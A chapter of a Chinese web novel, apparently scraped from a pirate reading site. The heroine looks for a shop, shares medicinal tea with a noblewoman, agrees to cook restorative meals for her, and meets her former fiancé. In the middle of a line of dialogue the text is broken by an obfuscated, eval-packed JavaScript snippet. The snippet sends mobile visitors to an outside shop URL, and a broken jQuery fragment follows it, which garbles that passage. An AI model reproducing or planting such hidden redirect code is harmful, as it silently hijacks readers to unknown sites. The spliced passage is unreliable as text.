文趣网 > 其他小说 > 烹春遇织 > 5. 第五章:美人药茶香
    年关将近,镇上的小玩意多了起来,外头回来的人总念乡,纷纷出行熟悉烟火气。长街热热闹闹的,一眼望去全是头。

    “姑娘,这已经是最便宜的坊子了,你上别处寻,指定寻不到如此好的了。”

    眼前是一座偏僻的坊子。

    门口长青飘飘,青苔湿润,雪落在木墙上,经初阳一晒,化水渗进木头,反反复复,坊子的窗棂处都有些发软了,一看便是许久没打理过的。

    一言难尽,慕春槿看着牙人介绍的说辞,仿佛能将这破屋夸出花来,摇了摇头,决定再换一座。

    她今早起身就找了个年轻牙人,打算同昨个说的,买座坊子,可看了大半个晨头了,都是些偏僻,潮湿的坊子,实在是不可选。

    咬了咬牙,慕春槿打算再添些钱,让年轻牙人找些好的,即使贵些也无妨,破些也无妨,首选当然是人多之处。

    年轻人捏了捏手中的纸,认真的打量了眼慕春槿,觉得一个没见过世面过的小姑娘,还挺聪明,随即翻了翻下一页纸,打算再换一处。

    "哗哗“两声,年轻人连续翻了几页,眉头一蹙,似乎觉得剩下的坊子更差了。

    其中,还有一座风水不好的。

    慕春槿看出了年轻人的想法,正要开口说再添些钱时,却见年轻人望向了角落的青苔,眉头舒展开来,笑着说。

    “苔痕阶上绿,草色入帘青,姑娘别小瞧这些破草,读书人就讲究这清幽意境,极好了,我已经把心里头的介绍给你了!”

    慕春槿听后也是一笑,觉得这年轻人还挺懂文化,但她可不吃这套,莞尔道:“潮寒侵人,阶滑易跌,哪里算得佳景。”

    话过之后,见年轻人脸上有些烦躁,又顺了嘴人情:“我再添些钱,麻烦再帮我留意着,这午食的时辰也要到了,你先歇着,心里要是想起什么了,再来寻我谈。”

    不一会,慕春槿便想着回到摊上,却听见身后传来女子声。

    “姑娘!”

    回眸一看,陈勉立在身后。

    上一回送了糕点,慕春槿隐约听到有人唤她“陈姑娘”,于是点了点头,顺带问:“陈姑娘有何事?”

    陈勉笑的温和: “难为你还记着我,上回的糕点,我那几个姊妹们都爱吃,只道今日见了你,当面感谢一番。”

    这话看着没毛病,慕春槿却怀疑了——只是一道吃食,陈姑娘作为贵女,应当是不与摊贩打交道的,更不要说当面感谢了。

    然而,慕春槿又听陈勉说:“姑娘方才去做什么了?”

    “?”慕春槿虽有些疑惑,但还是决定不撒谎:“寻牙人,买坐坊子。”

    “这样呀,姑娘吃食做的好,买做坊子也免得遭风吹之苦了”陈勉点了点头,三问:“外头风大,姑娘若是有空,不如去我府上坐坐,正好我夫君回来了,与他师弟正谈着,我也插不上话。”

    还“进府坐坐”?!慕春槿疑心更重了,瞧了瞧自己——素白为底的衣裙,月青细线镶边,纹样细碎,没有大面积浓烈的红、金,布料只比粗衣麻布好些,平民女子,何利可图?

    思索过后,慕春槿自觉对方说的是客套话,还是莫进了,恐惹人厌烦。

    “陈姑娘心意我领了,只是家弟还在摊上,我怕他一人忙不来。”

    陈勉应了声好,音调有些委屈,晃了晃手中的茶:“买了些茶吃,本是想让姑娘陪我品品,看来又要独独一人了……”

    慕春槿回头,看见了陈勉一副“委屈样”,顿时心软,又猜测陈勉如此挽留,应不是客套话,于是就应下了进府坐坐,毕竟让美人伤心的事,慕春槿可做不到!

    见慕春槿应了,陈勉瞬间粲然,拉着慕春槿就往府里去了,慕春槿只觉得陈勉还挺热情,全然不知自己的小发钗掉了。

    有客来访,围炉煮茶。

    慕春槿就一路跟着粲然的陈勉,来到了府庭,坐下吃茶。

    热气氤氲,一股辛暖的香气扑面而来。入口微微辛辣,却不刺喉,暖意顺着喉咙直沉下腹,余味带着淡淡的甜香。

    慕春槿暗道:“干姜,紫苏,桂花类,还是药茶!果真好品~”她放下茶盏,抬眼看向欲开口的陈勉——真正的目的来了!

    “实不相瞒,阿勉有一事想问姑娘。”

    慕春槿点了点头,想着喝了人家的好茶,总要付出代价,就示意陈勉说。

    陈勉指尖轻轻摩挲着盏边,声音轻缓:“前日……”她顿了顿,“姑娘与仙士一事,我也略有所闻。”

    慕春槿挑了挑眉,继续听着。

    “我并非来议论是非。”陈勉连忙解释,神色认真,“只是我夫君谢观欲,与那仙士陆必袁乃是旧识。我听闻陆必袁行事,素来有些城府。我心中不安,想问问姑娘,此事背后,是否另有隐情?”

    慕春槿表面略作沉吟,心里头却道:原来是这样,陆必袁作为书中男主,关系网还真是广呢~

    慕春槿略作沉吟,拣选可以说的部分,简单将当日街头对峙的经过同她讲了。

    陈勉听完,轻轻蹙起眉,神色间满是了然。

    “原来如此,倒是委屈姑娘了。”她望着慕春槿,眼底生出几分欣赏,“我自小深居府中,平日里往来的多是世家闺阁女子,难得遇上姑娘这般通透清醒之人。我心中,倒是真心想与姑娘交个朋友。”

    话说到此处,她话锋一转,又说起另一事。

    “夫君修行在外,久不归家,我日日悬心,郁结于怀,身子也跟着亏耗。府里医官开的汤药苦涩难当,我实在难以入口。”

    她望着慕春槿,语气带着期盼:“不知姑娘可否做我私下的药膳之人?”

    慕春槿闻言,心中暗自思量。

    陈勉是富贵人家的夫人,若是能借她的身份,把食疗吃食传到更多世家闺阁之中,也是一桩好事。

    “夫人若信得过我,我可以应下。不必付我重金报酬,只需夫人代为备齐所需食材即可

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17897671|212859||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。往后我得空,便做些新的调养吃食送过来。只是我现下忙着置办坊舍,事务繁多,没法日日过来,还望夫人谅解。”

    陈勉闻言喜出望外,眉眼舒展:“这自然是应当的!食材我府中尽数可以备妥,劳烦姑娘了。”

    这一桩事落定,慕春槿的心总算平静了,便接着低头吃茶,与陈勉聊些市井风物,讲些吃食门道。

    相互通名后,慕春槿一笑,觉得更有意思了,远远看去两人真像一对忘年知己,慕春槿只暗道:“像陈勉姑娘这样懂得提防,不拿大的贵家女子,真的不多了!”

    话说之间,只听院外的青石板上传来了脚步声,慕春槿与陈勉回头,却见来了一黑一白两道身影,其中白衣飘飘,腰挂仙门玉佩,见着陈勉就眼含春水的,应当就是陈勉说的夫君——谢观欲,至于另一位年轻男子,神色冷淡,看起来不好相处,当真像黑无常。

    陈勉作为家主,见着了黑衣男子,当即瞪了谢观欲一眼,上前道:“阿郎不懂事,不懂的招待,渡楼主不着急走,便坐下来吃茶?”

    “……”姓渡?

    慕春槿反应过来,眼前这位黑衣男子,就是退原主婚约的前夫渡遇织了!!!

    她抬眼,茶雾之间,隐隐看清对方的样貌。乌发半束,几缕碎发垂落额前鬓边,乌黑发带随风微微飘拂,正巧盖住那双冷冽的黑瞳。

    “不必了。”只见渡遇织动了动清隽冷白的面容,扶去发带,开口据了陈勉的好意。

    啧啧啧,慕春槿心里很是感叹,“这般模样,真是犹抱琵琶半遮面了,好生俊俏的小郎君!”不犹又感慨,“原主当真是眼瞎!”

    不过此男甚是有城府,此番结论还是慕春槿从言语之中揣测而出的,书中唤人,总喜欢加上那人的好“行当”正如“楼主”而不是“公子”。

    好在有这“客套”的说话方式,所以慕春槿才恍然想起摊前的那座无名楼楼主。——玄色广袖长袍,袍身暗绣鎏金云纹,交领规整,腕间环着数圈银黑臂箍,腰束宽革带,缀圆玉饰,正和眼前人一模一样!

    ~好“难发现”的伪装啊~

    渡遇织似乎感受到了慕春槿的观望,回眸对视,却见那姑娘又低头喝茶了。

    慕春槿抿唇笑了笑,要不是“楼主”二字,她当真是想不到这前夫会隐藏身份,毕竟巷里的俗名除了“阿遇”就叫“二牛”。

    喝了口茶,撞上那人的目光,冷冷的好似要吃小孩,慕春槿却不认账,渡遇织的眼神应当是原主的那些爱恨情仇了。不过,“慕春槿做的事,关我慕春槿什么事?”

    谢观欲一脸促狭的看着自己的师弟。

    渡遇织只淡淡道:“回了”,走时还多扫了慕春槿一眼。

    隔壁午食的饭香悠悠飘了过来。

    慕春槿惊觉自己留的太久了,看了看眼前的陈勉实属不舍,围炉煮茶,美人相伴,好不惬意,可是该收收心了,于是道:“阿勉姑娘,我不能陪了,先行辞去。”